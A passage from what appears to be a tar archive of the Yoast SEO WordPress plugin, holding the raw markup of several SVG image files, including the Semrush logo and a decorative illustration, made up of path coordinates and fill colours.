27.37 0 .34.02.72.18 1.01 2.28 4.2 6.74 4.88 10.26 1.62 3.54-3.28 5.38-7.54 6.89-11.93 3.1-9.04 4.05-18.33 2.74-27.8-.47-3.4-1.34-6.73-3.24-9.7-1.19-1.85-2.59-2.36-4.63-1.49-1 .43-1.87 1.14-2.96 1.87Z"/><path fill="#020202" d="M1307.39 122.54c-4.09-4.4-8.1-8.72-12.12-13.04-.13.05-.27.11-.4.16.26 12.07.51 24.13.77 36.33-7.46-.69-14.9-1.39-22.48-2.09-1.58-46.55-.61-92.99 1.71-139.57 7.62.58 15.04 1.15 22.22 1.7-.99 29.54-1.98 58.88-2.97 88.23.22.05.45.11.67.16 11.62-14.1 21.84-29.09 29.48-46.04 5.39 4.5 10.64 8.88 15.99 13.35-6.1 13.98-13.95 26.91-22.87 39.14 4.19 5.22 8.5 10.29 12.47 15.62 3.97 5.32 7.6 10.9 11.43 16.43-5.06 4.7-9.91 9.2-14.91 13.85-5.74-8.57-12.06-16.56-18.99-24.21ZM1242.27 129.14l-1.25 17.55c-2.51-.14-4.87-.27-7.22-.42-2.72-.18-5.43-.34-8.14-.61-.43-.04-1.04-.55-1.18-.96-.51-1.55-.85-3.16-1.27-4.82-2.52 1.06-4.86 2.17-7.29 3.04-5.96 2.15-12 2.34-18.07.46-8.06-2.5-13.54-9.59-14.3-17.91-1.04-11.52 4.12-19.78 13.51-25.88 5.95-3.87 12.56-5.98 19.6-6.82l4.69-.55c.08-4.79.21-9.47-.99-14.05-.26-1-.76-1.97-1.32-2.84-2.02-3.17-5.77-3.61-8.52-1.02-3.26 3.07-4.74 7.11-6.04 11.23-.34 1.09-.41 2.55-1.16 3.13-.65.5-2.1.02-3.19-.07-4.71-.41-9.42-.83-14.45-1.28.73-2.67 1.34-5.26 2.15-7.79 2.55-7.94 6.21-15.24 12.46-21.07 9.36-8.75 24.76-8.96 33.63-.29 4.33 4.24 6.71 9.6 7.92 15.38.89 4.22 1.58 8.55 1.71 12.86.43 14.22-.32 28.42-1.29 42.75m-30.89-1.07c2.98-.63 5.97-1.23 8.94-1.94.33-.08.69-.78.71-1.21.14-3.53.21-7.07.28-10.6.03-1.48 0-2.95 0-4.55-2.22.45-4.3.79-6.32 1.31-4.43 1.15-8.39 3.07-10.92 7.1-2.63 4.19-.79 8.59 4.04 9.62.97.21 1.99.18 3.27.26ZM1371.79 57.82c8.98-6.55 18.49-7.72 28.52-3.01 4.13 1.94 6.94 5.4 9.16 9.29 3.27 5.71 5.06 11.94 5.77 18.39.77 6.97 1 14 1.5 21.01.07.96-.17 1.34-1.2 1.59-11.84 2.91-23.83 5.07-35.89 6.86-.93.14-1.85.33-2.92.52.63 5.04 1.1 10 4.13 14.24 1.56 2.19 3.14 2.71 5.76 1.99 3.43-.94 5.86-3.28 8-5.88 1.96-2.39 3.66-4.99 5.6-7.67 4.79 2.81 9.66 5.66 14.63 8.56-5.15 8.94-10.94 17.18-21.11 20.95-14 5.18-27.62.46-34.85-13.06-3.12-5.83-4.61-12.13-4.89-18.64-.56-13.37 1.19-26.44 6.29-38.94 2.54-6.23 6.12-11.79 11.5-16.2m13.65 38.82c3.16-.74 6.31-1.47 9.73-2.27-.41-4.68-.62-9.31-1.28-13.87-.37-2.61-1.2-5.23-2.29-7.64-1.23-2.71-3.63-3.09-5.88-1.06a15.806 15.806 0 0 0-3.3 4.2c-3.7 6.95-4.77 14.55-5.43 22.39 2.83-.6 5.51-1.17 8.45-1.76ZM662.46 58.62c5.16 5.37 7.48 11.97 9.02 18.88 1.99 8.95 2.28 18.05 2.26 27.28-13.11 3.37-26.44 5.61-39.9 7.64.55 4.32.98 8.51 2.94 12.35 2.14 4.2 4.64 5.91 10.18 2.42 3.65-2.3 6.08-5.77 8.4-9.29.6-.91 1.2-1.82 1.85-2.82 4.93 2.89 9.77 5.72 14.72 8.63-5.15 9.05-11.04 17.34-21.36 21.04-13.9 4.98-27.46.44-34.72-13.4-3.78-7.21-4.95-14.99-4.88-23.01.1-11.04 1.74-21.83 5.6-32.22 2.44-6.59 5.86-12.58 11.2-17.34 5.32-4.74 11.59-6.87 18.7-6.72 6.15.13 11.54 2.1 15.98 6.58m-27.88 35.11c-.16 1.51-.33 3.01-.52 4.72 6.16-1.36 12.07-2.67 18.31-4.04-.54-5.21-.9-10.32-1.65-15.36-.35-2.3-1.28-4.59-2.32-6.71-.96-1.97-2.75-2.41-4.57-1.16-1.41.96-2.73 2.26-3.62 3.7-3.51 5.69-4.81 12.08-5.64 18.86Z"/><path fill="#010101" d="M926.11 142.76c-6.82-4.43-10.73-10.77-13.02-18.22-2.25-7.3-2.43-14.78-1.91-22.33.5-7.21 1.61-14.31 3.71-21.24 2.46-8.09 5.94-15.64 12.2-21.65 8.54-8.2 22.19-9.77 31.91-3.54 4.52 2.89 7.31 7.22 9.39 12.01 2.69 6.18 4 12.71 4.56 19.38.48 5.81.69 11.63 1.02 17.53-13.29 3.43-26.63 5.68-40.17 7.71.69 5.07 1.11 10.09 4.18 14.37 1.51 2.1 3.16 2.63 5.65 1.93 4.12-1.17 6.78-4.18 9.25-7.35 1.53-1.96 2.87-4.07 4.38-6.24 4.84 2.84 9.67 5.68 14.63 8.59-3.06 5.33-6.32 10.41-10.89 14.59-6.25 5.71-13.56 8.6-22.11 8.33-4.57-.14-8.82-1.35-12.78-3.86m11.79-63.33c-2.35 6.08-3.34 12.41-3.81 19.02l18.22-4.04c-.44-4.8-.64-9.44-1.35-14-.43-2.75-1.43-5.47-2.58-8.02-.94-2.08-2.67-2.37-4.69-1.2-.85.49-1.73 1.14-2.25 1.94-1.27 1.96-2.34 4.04-3.55 6.3Z"/><path fill="#020202" d="M714.55 110.73c.03 3.69.1 7.24 1.51 10.56.51 1.21 1.25 2.4 2.14 3.38 1.73 1.91 3.74 2.13 5.98.81 3.13-1.84 5.16-4.73 7.06-7.66 2.39-3.67 4.59-7.47 6.94-11.33 4.68 3.34 9.4 6.71 14.16 10.12-3.09 7.86-6.75 15.32-12.56 21.6-10.5 11.33-24.8 10.15-34.82 3.47-6.67-4.44-10.21-10.98-11.89-18.58-1.53-6.9-1.26-13.85-.65-20.83.72-8.31 2.2-16.45 4.89-24.37 2.26-6.66 5.24-12.93 10.19-18.13 7.32-7.69 18.53-9.76 27.48-4.89 5.24 2.85 8.71 7.36 11.2 12.59 3.44 7.25 5.07 14.87 4.04 22.9-.24 1.89-.75 3.75-1.13 5.62-6.29-.59-12.34-1.16-18.19-1.71 0-2.32.05-4.5-.01-6.68-.1-3.57-.73-7.03-2.51-10.19-2.07-3.66-5.08-3.78-7.55-.35-2.46 3.42-3.31 7.42-4.13 11.41-1.5 7.29-1.91 14.7-2.13 22.27ZM1478.68 74.89c-5.02-1.18-8.22 1.08-10.32 5.16-2.82 5.49-4.74 11.24-4.7 17.53.08 11.92.08 23.84.02 35.76-.02 4.38-.32 8.76-.5 13.35-7.53-.61-14.93-1.2-22.48-1.81.75-28.07 1.59-55.97-2.83-83.89 2.83.27 5.42.51 8.01.76 1.75.17 3.5.43 5.26.52.99.05 1.4.46 1.65 1.34.79 2.72 1.64 5.43 2.5 8.23 1.62-2.77 3.14-5.46 4.74-8.1 1.99-3.27 4.39-6.23 7.39-8.64 4.54-3.64 9.55-3.86 15.17-.59 1.81 1.05 3.4 2.47 5.04 3.79.32.26.64.88.54 1.23-1.53 5.58-3.13 11.14-4.74 16.82-1.61-.5-3.13-.96-4.77-1.46Z"/><path fill="#010101" d="M775.99 52.99c.82-.19 1.63-.32 2.43-.25 6.42.59 12.84 1.21 19.25 1.83.09 0 .17.09.31.17v91.03c-7.34-.7-14.59-1.38-22.01-2.09 0-30.22 0-60.38.01-90.69Z"/><path fill="#020202" d="M798.68 26.96c-.47 5.38-.93 10.63-1.41 16.04-7.27-.88-14.35-1.73-21.71-2.62.63-7.04 1.26-14.05 1.91-21.28 7.31.83 14.48 1.65 21.74 2.48-.19 1.88-.36 3.56-.53 5.38Z"/><path fill="#607983" d="m8.856 20.455 97.89-17.26c6.795-1.199 13.282 3.344 14.48 10.139l20.88 118.413c1.198 6.795-3.344 13.283-10.14 14.48l-97.89 17.261a7.097 7.097 0 0 1-8.213-5.75L3.105 28.667a7.097 7.097 0 0 1 5.75-8.213Z"/><path fill="#3a5160" d="M21.37 18.25 8.86 20.46c-3.84.68-6.43 4.37-5.75 8.21l22.76 129.08c.68 3.84 4.37 6.43 8.21 5.75l12.51-2.21L21.37 18.25Z"/><path fill="#d2e0e4" d="M89.24 39.48c-1.9.34-3.17 2.15-2.84 4.05l3.83 21.7c.45 2.57-1.29 5.02-3.85 5.47s-4.99-1.26-5.44-3.83l-3.83-21.7c-.34-1.9-2.15-3.17-4.05-2.84s-3.17 2.15-2.84 4.05l3.83 21.7c.45 2.57-1.29 5.02-3.85 5.47s-4.99-1.26-5.44-3.83l-3.83-21.7c-.34-1.9-2.15-3.17-4.05-2.84s-3.17 2.15-2.84 4.05l4.46 25.28c1.49 8.45 8.11 14.69 16.08 16.14l6.09 34.55c.66 3.75 4.24 6.26 8 5.6s6.26-4.24 5.6-8l-6.09-34.55c7-4.09 11.08-12.21 9.59-20.66l-4.46-25.28a3.507 3.507 0 0 0-4.05-2.84Z"/></svg>wordpress-seo/packages/js/images/semrush-logo.svg000064400000007766147510273070016212 0ustar00<svg width="170" height="27" viewBox="0 0 200 27" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M138.086 10.4127C138.086 7.13658 136.073 4.76172 132.217 4.76172H119.751V21.7382H123.85V15.9412H128.7L133.453 21.7365H138.072V21.3622L133.453 15.8438C136.335 15.2497 138.086 13.1333 138.086 10.4127ZM131.757 12.5123H123.85V8.27785H131.757C133.219 8.27785 134.158 9.0566 134.158 10.401C134.157 11.7671 133.25 12.5123 131.757 12.5123Z" fill="#171A22"/>
<path d="M200 4.76172H196.167V11.1982H185.836V4.76172H181.689V21.7382H185.836V15.0533H196.167V21.7382H200V4.76172Z" fill="#171A22"/>
<path d="M108.78 4.76172L104.222 19.0461H103.972L99.388 4.76172H92.0889V21.7382H95.9927V7.79281H96.2361L100.794 21.7382H107.083L111.667 7.79281H111.908V21.7382H115.935V4.76172H108.78Z" fill="#171A22"/>
<path d="M64.1764 11.7084C62.728 11.5574 60.0275 11.3107 58.5791 11.1613C57.1542 11.0153 56.3302 10.5923 56.3302 9.65079C56.3302 8.74785 57.2046 7.98588 60.7325 7.98588C63.8458 7.98588 66.7191 8.65218 69.2266 9.86227V6.06417C66.7191 4.86751 63.9633 4.28345 60.521 4.28345C55.6924 4.28345 52.3491 6.3025 52.3491 9.71625C52.3491 12.6064 54.3111 14.184 58.2468 14.6137C59.6717 14.7697 62.0936 14.9829 63.7837 15.1222C65.6248 15.2749 66.172 15.8372 66.172 16.6763C66.172 17.8277 64.8813 18.5427 61.6119 18.5427C58.2838 18.5427 54.9153 17.4551 52.5186 15.9328V19.8417C54.4437 21.129 57.7769 22.2216 61.4894 22.2216C66.7644 22.2216 70.1497 20.1874 70.1497 16.5454C70.1497 13.8047 68.3421 12.1415 64.1764 11.7084Z" fill="#171A22"/>
<path d="M72.8335 4.76172V21.7382H88.6687V18.269H76.7373V14.8251H88.4656V11.3828H76.7373V8.22918H88.6687V4.76172H72.8335Z" fill="#171A22"/>
<path d="M173.218 11.7082C171.77 11.5572 169.07 11.3104 167.621 11.1611C166.196 11.015 165.372 10.5921 165.372 9.65055C165.372 8.7476 166.247 7.98563 169.774 7.98563C172.888 7.98563 175.761 8.65194 178.269 9.86202V6.06393C175.759 4.86895 173.005 4.2832 169.563 4.2832C164.734 4.2832 161.391 6.30225 161.391 9.71601C161.391 12.6061 163.353 14.1838 167.289 14.6134C168.714 14.7695 171.136 14.9827 172.826 15.122C174.667 15.2747 175.214 15.8369 175.214 16.6761C175.214 17.8274 173.923 18.5424 170.654 18.5424C167.326 18.5424 163.957 17.4549 161.561 15.9326V19.8415C163.486 21.1288 166.819 22.2214 170.531 22.2214C175.806 22.2214 179.192 20.1872 179.192 16.5452C179.192 13.8045 177.386 12.1412 173.218 11.7082Z" fill="#171A22"/>
<path d="M154.503 4.76172V13.4522C154.503 16.7451 152.503 18.5527 149.495 18.5527C146.471 18.5527 144.487 16.772 144.487 13.4018V4.76172H140.412V13.0158C140.412 19.1804 144.264 22.2232 149.554 22.2232C154.644 22.2232 158.575 19.2995 158.575 13.2172V4.76172H154.503Z" fill="#171A22"/>
<path d="M38.3066 13.1515C38.3066 13.9789 37.892 14.1065 36.8414 14.1065C35.7269 14.1065 35.5356 13.9152 35.4081 13.0877C35.1848 10.9546 33.7515 9.13859 31.333 8.94894C30.5694 8.88516 30.3781 8.59816 30.3781 7.64318C30.3781 6.75198 30.5056 6.33743 31.2055 6.33743C35.4081 6.33743 38.3066 9.71258 38.3066 13.1515ZM44.4208 13.1515C44.4208 6.75198 40.0906 0 30.0911 0H10.2144C9.81329 0 9.56489 0.209793 9.56489 0.575672C9.56489 0.775396 9.71426 0.954979 9.85021 1.06071C10.5786 1.63303 11.6393 2.26241 13.0626 2.97403C14.4422 3.66383 15.5079 4.11195 16.5904 4.55167C17.0369 4.73293 17.2148 4.93098 17.2148 5.19616C17.2148 5.5419 16.9714 5.76176 16.4679 5.76176H0.691478C0.224898 5.76176 0 6.06218 0 6.36596C0 6.62443 0.0906307 6.83087 0.310494 7.05912C1.59107 8.39508 3.6269 10.0063 6.60261 11.8676C9.21076 13.4989 12.4332 15.2595 14.9893 16.4847C15.419 16.6911 15.5683 16.9295 15.5583 17.1762C15.5465 17.4615 15.3216 17.7032 14.8248 17.7032H7.59283C7.18164 17.7032 6.95338 17.9197 6.95338 18.252C6.95338 18.4366 7.10276 18.6716 7.29745 18.8495C8.94222 20.3415 11.5722 21.9729 15.0766 23.4649C19.7508 25.4555 24.5089 26.6521 29.8527 26.6521C39.9799 26.6521 44.4208 19.0744 44.4208 13.1515ZM31.2055 22.2263C26.2376 22.2263 22.0988 18.1815 22.0988 13.1515C22.0988 8.18361 26.2376 4.20426 31.2055 4.20426C36.3009 4.20426 40.2803 8.18529 40.2803 13.1515C40.2803 18.1815 36.3009 22.2263 31.2055 22.2263Z" fill="#FF642D"/>
</svg>wordpress-seo/packages/js/images/indexables_2_left_bubble_optm.svg000064400000026045147510273070021500 0ustar00<svg aria-hidden="true" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 289.98 291.69" class="yst-shrink-0 yst-h-28"><path fill="#006531" d="M178.09 168c6.2.88 11.73 57.74 10.9 64-1 7.61-20.47 21.56-35.83 16.83s-22.28-17.36-17.85-26.51 36.58-55.25 42.78-54.32z"></path><path fill="#f0ecf0" d="M256.47 217s6 6 13.08 13.82a131.19 131.19 0 10-181.07 40.45q3.55 2.25 7.23 4.27c.71-2.79 1.36-5 1.81-6.64 1.48-5.32 6.32-14.53 5.36-19.55s-4.13-7.68-3.54-20.08a114.5 114.5 0 013.54-25.72 14.88 14.88 0 00-7.09-1.77 113.17 113.17 0 0110.95-12c6.87-21.57 17-42 23.64-51.22 6.22-8.64 29.37-10.27 52.71-6.72s47.75 28.12 40.37 63-28.46 44.21-30.79 49.23-5.57 18.8-3.65 23.67c1.29 3.28 6.19 9.05 11.85 17.05a130.91 130.91 0 0048-28.94c-8.87-9.55-19.31-20.38-19.87-21.12 9.73-11.73 15.92-18.83 27.47-17.73z"></path><path fill="#006531" d="M150.14 131.06c-3.25-1.48-3.86-.12-7.4.48s-18.86-1.18-23.91.81c-9.9 3.91-14 11.82-16 20.27s.54 19.16 1.72 25.95-3.39 53.18-3.09 59.38 20.2 11.57 22.27.35 15.33-65.3 15.33-65.3 14.33-40.46 11.08-41.94z"></path><path fill="#b498c6" d="M49 177.58c26.5 32.94 70.46 51.81 71.35 58.6s-3.84 13.34-8.87 16.29-30.71-3.4-45.77-22.47c-15.55-19.67-28.56-37.13-28.56-37.13s5.68-8.18 11.85-15.29z"></path><path fill="#006531" d="M132.36 152.53c-4.21 2.95-21 27.42-26.52 32-4.18 3.48-14.36 15.36-15.25 23.63s6.39 19.91 16 25.4c5.24 3 23.88-5.3 25.65-13.27s4.32-70.72.12-67.76z"></path><path fill="#006531" d="M192.67 244.07c2.37-5 23.4-14.36 30.79-49.21s-17-59.44-40.37-63-46.49-1.86-52.71 6.74c-6.63 9.2-16.77 29.65-23.64 51.22 15.28-14.48 30.08-20.49 39.86-32.18-.3 1.55 8.49 23.45 11.81 28.36 4.15 6.13 14.16 17.89 20.38 31-10.34-1.92-21.49-1.6-31.9 2.41-2.66 6.3-2.07 16.93-.88 22.84-2.28 17.87-2.12 33.54.46 48.85 4.06.37 8.17.58 12.32.58a131.19 131.19 0 0042.08-6.9c-5.66-8-10.56-13.77-11.85-17-1.92-4.91 1.29-18.69 3.65-23.71zM112.56 231c-.27-7.26-.22-8.8.78-20.95-2.89-1.6-6.55-4.57-10.46-6.48a114.5 114.5 0 00-3.54 25.72c-.59 12.4 2.59 15.06 3.54 20.08S99 263.58 97.52 268.9c-.45 1.6-1.1 3.85-1.81 6.64a127.06 127.06 0 0013.85 6.58c-1.44-18.61-1.04-36.3 3-51.12z"></path><path fill="#b498c6" d="M269.55 230.83C262.43 223 256.47 217 256.47 217c-11.55-1.11-17.74 6-27.47 17.72.56.74 11 11.57 19.88 21.12a132.58 132.58 0 0020.67-25.01z"></path><path fill="#89bc3b" d="M95.79 201.78a14.88 14.88 0 017.09 1.77c1.1-4.56 2.4-9.17 3.86-13.73a113.74 113.74 0 00-10.95 11.96z"></path><path fill="#89bc3b" d="M112.56 231c-4 14.84-4.44 32.53-3 51.14a130.52 130.52 0 0036.91 9c-2.58-15.31-2.74-31-.46-48.85-1.19-5.91-1.78-16.54.88-22.84 10.41-4 21.56-4.33 31.9-2.41-6.22-13.12-16.23-24.88-20.38-31-3.32-4.91-12.11-26.81-11.81-28.36-9.78 11.69-24.58 17.7-39.86 32.18-1.46 4.56-2.76 9.17-3.86 13.73 3.91 1.91 7.57 4.88 10.46 6.48-1 12.11-1.05 13.65-.78 20.93z"></path><path fill="#b498c6" d="M35.85 151.6s2.66 3.18 4.43 5.55 4.66 16 8.68 20.43-7 12.22-7 12.22c-12-.92-23-13.34-21-28.7 0 0 3.25-4.73 3.84-6.5s-.18-5-.18-5a34.85 34.85 0 01-4.29-6.21c-1.21-2.65-.84-6.46.37-9.18s4.56-2.56 4.68-1.89c.31 1.74 2 8.86 1.86 8.6-.87-2.01 2.67 2.19 8.61 10.68z"></path><path fill="#b498c6" d="M32.13 155.37c-12 4.78-18.36 1.3-24.56 4.84s1.22 17.61 1.22 17.61 1.84 6.8 5.39 11.23 24.27 4.41 24.27 4.41l10.15-13.52z"></path><path fill="#b498c6" d="M28.47 184.32c-.59.89-5.5 6.45-8.45 7.45s-6.34-.66-6.34-.66c-3.64-1.42-4.81-3.6-3.07-6.2 0 0 10.29-.52 7.34.18s7.57-4.31 7.57-4.31c1.96.66 3.09 1.77 2.95 3.54z"></path><path fill="#8b6c9c" d="M25.52 180.78c7.47.85-3.24 16.33-11.84 10.33 5.39 1.3 7.32.21 10.71-3.07 2.5-2.49 3.06-2.79 2.42-5.24a2.59 2.59 0 00-1.29-2.02z"></path><path fill="#b498c6" d="M5.48 176.94c-2.11 2.55-1.17 5.19 4.13 8l8.39 1.15 8.57-5.31a8.67 8.67 0 00-.89-6.8l-10.34 3.25z"></path><path fill="#8b6c9c" d="M9.61 184.91c7.51.44 7.78 1.78 12.14-.95 5-3.14 5.69-4.17 3.88-10 4.06 5.07 1.3 7.9-3.35 10.83-3.09 1.94-6.79 2.92-12.67.12z"></path><path fill="#b498c6" d="M1.34 168.67c-3.06 1.58-.35 9.08 2.77 9l11.18-.41s9.12-2 10.34-3.25c1.81-1.8-.57-7.7-1.48-7.38l-10.93 3z"></path><path fill="#8b6c9c" d="M4.11 177.64c11.75.39 10.61 4.06 19.09-3.93 1.37-1.34-.15-7.07-1.05-7.11 1.23-.32 4.11 5.64 1.75 7.82-5.45 5.13-8.43 7.58-19.79 3.22z"></path><path fill="#b498c6" d="M4.59 159.81c-2.79.54-3.52 2-3.54 5.43s-.94 2.44 1.29 3.43 13.88.88 13.88.88l7.93-3c.73-2.37.66-4.59-1.18-6.5l-9.4-.89a69.28 69.28 0 00-8.98.65z"></path><path fill="#8b6c9c" d="M2.34 168.67c1.27.26 12.13.39 13.88.38-.45.09-.73.24 7.76-2.92-.91 1 .41-.43.05-2.9-.51-3.6-2.16-2.54-5.81-3.09-4.5-.9-9.43-1.88 4.8-.54.53.05 3 2.56 1.61 7.14-.11.36.83-.09-8.31 3.31-3.68.02-10.94.14-13.98-1.38z"></path><path fill="#006531" d="M197.4 137.56c4.72.88 31.31 19.79 39.83 35.92 3.33 6.31 6 21.38 8.9 27.58s13.59 18.31 14.48 19.79c-17.13 2.66-27.18 19.2-27.18 19.2-4-3.26-43.16-44.31-44-46.38-3.25-7.97 3.24-57 7.97-56.11z"></path><path fill="#006531" d="M195.4 110.09c-1.55 13 2 27.47 2 27.47s-44.31 21.26-50.8 20.08-3-24.33-3-24.33-.88-13.29 1.48-17.13 4.75-9.93 13-11.11 38.1-1.57 37.32 5.02z"></path><path fill="#b498c6" d="M147.3 154.39s11.48-21.63 15-24.29 18.72-8.83 22.56-10 3.84-5.31 5-8.56 1.48-29.79 1.48-29.79l-45.29 2 4.73 39.81c.36 12.52-4.85 19.83-3.48 30.83z"></path><path fill="#89bc3b" d="M195.45 138.74s27.35 19.2 39.05 36.26c2.65 3.85 4.84 20.79 7.2 25.81s10.05 15.07 10.05 15.07l5.31.29 3.55 4.73c-9.41 1.64-18.27 9.31-27.18 19.2l-6.49-5.62c5.46-7.09 11.49-13 18.9-15.94 0 0-7.68-12.11-9.75-16.54s-4.52-21.19-7.2-26.41c-9-17.6-39.06-34.73-39.06-34.73z"></path><path fill="#093f22" d="M192.38 197.7l21.02 21.79-2.66 5.31-15.36 5.61 11.88-10.33-14.88-22.38zm-71.73-50.53l1.55 13.29a79.66 79.66 0 01-7.31 11.54c-4.43 5.76-8.76 11.31-8.76 11.31L114 156l-.44 12z"></path><path fill="#8b6c9c" d="M191.38 81.73s1.91 5.52-1.07 17.09c-2.07 8-25.57 30.6-35 28.17-6-1.54-6-11.85-7.27-16.31L145 83.8z"></path><path fill="#b498c6" d="M172.22 6.3c-20-2.46-38.74 14.76-40.58 16.91-1.16 1.35-4.27 8.05-6.64 14.45 13.42-5 36.89-.82 67.51 9.88 1 6.7.06 12.11-.92 19.63 0 0-8.61 4.69-16 4.69s-16.29-2.46-18.45-5.23-8-9.63-13.77-10-11.37 5.87-13.89 6.59c-1.75.5-8 3-10.15 5.15v-.08a15.41 15.41 0 00-1.18 6.5c.8 8.65 6.53 18.51 8.69 21.59s2.72 9.45 6.41 14.07c3.13 3.91 15.33 3.46 20 2.1 7-2 29.38-9.37 32.77-14S198.23 70 198.23 70s12.4-8.23 13-14.69c2.12-22.13-11.91-45.67-39.01-49.01z"></path><path fill="#006531" d="M192.2 87.46c21.23 1.16 34.39 0 35.92-9.22s1.16-64.85-52.19-76.38c-50.56-10.93-60.49 29.65-61.72 37s7.59 8.91 7.59 8.91c-.61-3.09 1.55-2.73 3.19-10.14 15.18-3.18 61.91 7.92 64.68 12.84s-.54 12.68-.24 16.06 7.69 6.47 7.69 6.47z"></path><path fill="#093f22" d="M225.1 81.93c1.13-4.56-4.46-9.51-15.07-14.76l-5.22 5.23-4.92 15.37c12.11.23 23.63.05 25.21-5.84z"></path><path fill="#b498c6" d="M207 73.61c3.69 3.07 3.93 10.55 1.78 14.54s-14.78 8.49-17.21 7.57-4.92-3.88-4.92-3.88l10.45-18.62a12.33 12.33 0 014.49.11c.31 0 2.8-1 3.11-.91a6.32 6.32 0 012.3 1.19z"></path><path fill="#191a1a" d="M192.2 69s-19.69 37.82-22.44 39c.82.16 5.58-1.59 7.38-2.46s20-32.59 20-32.59z"></path><path fill="#093f22" d="M186.03 79.26l5.37 4.21-4.21 7.53-5.93-3.32 4.77-8.42z"></path><path fill="#fcee21" d="M122.11 47.5a54.43 54.43 0 012.89-9.84c-4.93 9.91-10.22 24.17-5.7 30.66a35.07 35.07 0 015.58-8.22s-3.7-6.1-2.77-12.6z"></path><path fill="#fbb03b" d="M129.49 65.25c2.72-.78 8.83-7.61 14.37-6.38s11.14 8 13.29 10.76 11.07 5.23 18.45 5.23 16-7.69 16-7.69c1-7.52 1.93-12.93.92-19.63-30.62-10.7-54.09-14.89-67.52-9.88a54.43 54.43 0 00-2.89 9.84c-.93 6.45 2.76 12.6 2.76 12.6a35.07 35.07 0 00-5.58 8.22v.08c2.2-2.15 6.93-2.21 10.2-3.15z"></path><path fill="#4b3f51" d="M164.1 84.58s-10-6.68-19.87-7.87c-1.84-.22-2.48.64-3.69.59-1.78-.07-2.9-.67-4.28-.74-4.79-.22-5.77 2.37-5.77 2.37a4.35 4.35 0 001.93 4.43c1.77 1 2.51-1.11 3.32 1.77 17.72-1.66 22.26-.59 28.36-.55z"></path><path fill="#8b6c9c" d="M135.67 85c0 2.77-5.87 11.68 5.81 12.3 12.65.7 19.82-9.23 22.52-12.67-9.76-.11-19.34-2.38-28.33.37z"></path><path fill="#f2f2f2" d="M136.67 81.48c-.95 1.52-.25 7.58 4.61 8.3 7.75 1 16.17-1.77 22-5.22-9.55-1.06-11.88-2.62-16.38-3.49-2.54-.48-9.09-1.42-10.23.41z"></path><path fill="#fcee21" d="M124.87 60.1a20.07 20.07 0 0012-.61s-2.15-7.92-6.76-7.61-5.24 8.22-5.24 8.22z"></path><path fill="#f15a24" d="M136.81 59.5c-3.13-10.48-10.72-10.06-11.88.6-1.93-.14-1.38-9.34 4.35-9.94 6.86-.67 8.23 9.15 7.53 9.34zm1.59-18.77c1.26.46.58 3.28-.69 3.38s-7.64-.52-9.45.31-5.08 4.17-6.25 6.08c.21-1.54 3.68-7.57 5-8.85s10.14-1.38 11.39-.92z"></path><path fill="#8b6c9c" stroke="#8b6c9c" stroke-miterlimit="10" d="M150.7 66.25c.48 1.6 1 3.41-.85 4.33s-4-2.41-5.53-2.1-4 2.24-5.61 1.77c-3.34-1-3.69-2.69-3.69-2.69s-1.12 4.2 4.3 4.84c3.68.43 5.35-2.06 8.42-1.45s2.09 2.8 3.57 2.06c2.97-1.47.98-6.44-.61-6.76z"></path><path fill="#8b6c9c" d="M154.79 69.68c2.27 1.94 3.94 10 11.63 10.35 1.28 2-.13 5.41-1.89 9.58a20.53 20.53 0 007.07-12.91c-11.05.3-13.26-5.8-16.81-7.02zm-18.22.44s-2.47-.4-2.47.87a.37.37 0 01-.16.3.38.38 0 01-.34.06c-2.4-.79-1.79-4.72-.07-5.86-1.72 4.02 3.04 4.63 3.04 4.63z"></path><path fill="#8b6c9c" d="M132.48 68.63c-2 2.71-2.16 7-2 10.24 0 0-1-1.86-2-1.79s-.71 5.3.79 9a31 31 0 01-6-15.73c2.67 1.07 6 .5 9.27-3.38z"></path><ellipse cx="139.18" cy="184.17" fill="#fbb03b" stroke="#fc3" stroke-miterlimit="10" rx="8.75" ry="5.25" transform="rotate(-9.22 139.183 184.166)"></ellipse><path fill="#f19018" d="M129.81 195.84l18.24-2.09a100.85 100.85 0 00-14.23 16.57l8-.9a78.29 78.29 0 00-8.82 18.82c-3.2 9.33-2.81 18.19-3 17.84a47.74 47.74 0 01-3.75-14.91 56 56 0 01.51-15.19c-3 .83-6 1.67-8.89 2.51a73.05 73.05 0 0111.94-22.65z"></path><path fill="#fbb03b" stroke="#fc3" stroke-miterlimit="10" d="M129.81 195.84l18.24-2.09a100.85 100.85 0 00-14.23 16.57l8-.9a78.29 78.29 0 00-8.82 18.82c-3.2 9.33-2.81 18.19-3 17.84a47.74 47.74 0 01-3.75-14.91 56 56 0 01.51-15.19c-3 .83-6 1.67-8.89 2.51a73.05 73.05 0 0111.94-22.65z"></path><path fill="#f15a24" d="M136 56.78c1 1.52-.76 3.87-2.65 3.87s-3.66-1.26-3.66-3.1a3.38 3.38 0 013.43-3.32c1.88 0 1.51.55 2.88 2.55z"></path><path fill="#8b6c9c" d="M25 161.28c-.08 6.93 1.26 20.08 15.09 24.42 0 0-8.67 1.28-11.66-1.38s-6.92-16.88-3.43-23.04z"></path><path fill="#093f22" d="M120.68 47.53l4.32-9.87c19.53-1.66 62.46 8.77 64.68 12.84s.07 13.6-.24 16.06 7.68 6.44 7.68 6.44l4.61.31s-8.3-3.07-8-7.38 3.2-16.07-1.23-18.4c-27.06-14.19-61.36-15-69.48-13.76-6.46 1-8.44 6.4-7.22 10.09.85 2.58 4.88 3.67 4.88 3.67zm47.77-26.05c-.92-2.15 18.91-8.27 30.13-7.68 6.17.32 13.26 10.33 5.91 9.45-14.77-1.77-35.11.38-36.04-1.77zM172 32.7c-.59-3 28.35-3 39.26.35 6 1.8 2.55 12.33-1.84 10.45C198 38.61 172.38 34.61 172 32.7zm-38.21-14.1L131 9.07l-6.15 6.15s8.02 4.61 8.94 3.38zm-7.07 8.61C127 26 120.57 21.06 120 22s-2.77 8.3-2.77 8.3 9.18-1.86 9.49-3.09z"></path><path fill="#fc3" d="M181.6 46.59c-.06 10.33-1.83 19.86-6 28.27A30.57 30.57 0 01163.36 73c3.15-11.43 5.89-22.37 5.61-29.76a90 90 0 0112.63 3.35z"></path><path fill="#fcee21" d="M172.83 62.87c-5.55.17-12.05 1.5-16.91-1.54 0 0 .7-8.22 7.15-7s9.76 8.54 9.76 8.54z"></path><path fill="#f15a24" d="M155 42.88c-1.24.38-.16 2.92.92 3.39s8.91 1.14 11.65 1.79 6.2 4.36 8.64 6.81c-.22-1.86-4.87-8.63-7.68-9.53s-12.29-2.83-13.53-2.46zm13.31 16.56a3.78 3.78 0 11-3.44-4.09 5 5 0 01.56.09 4.28 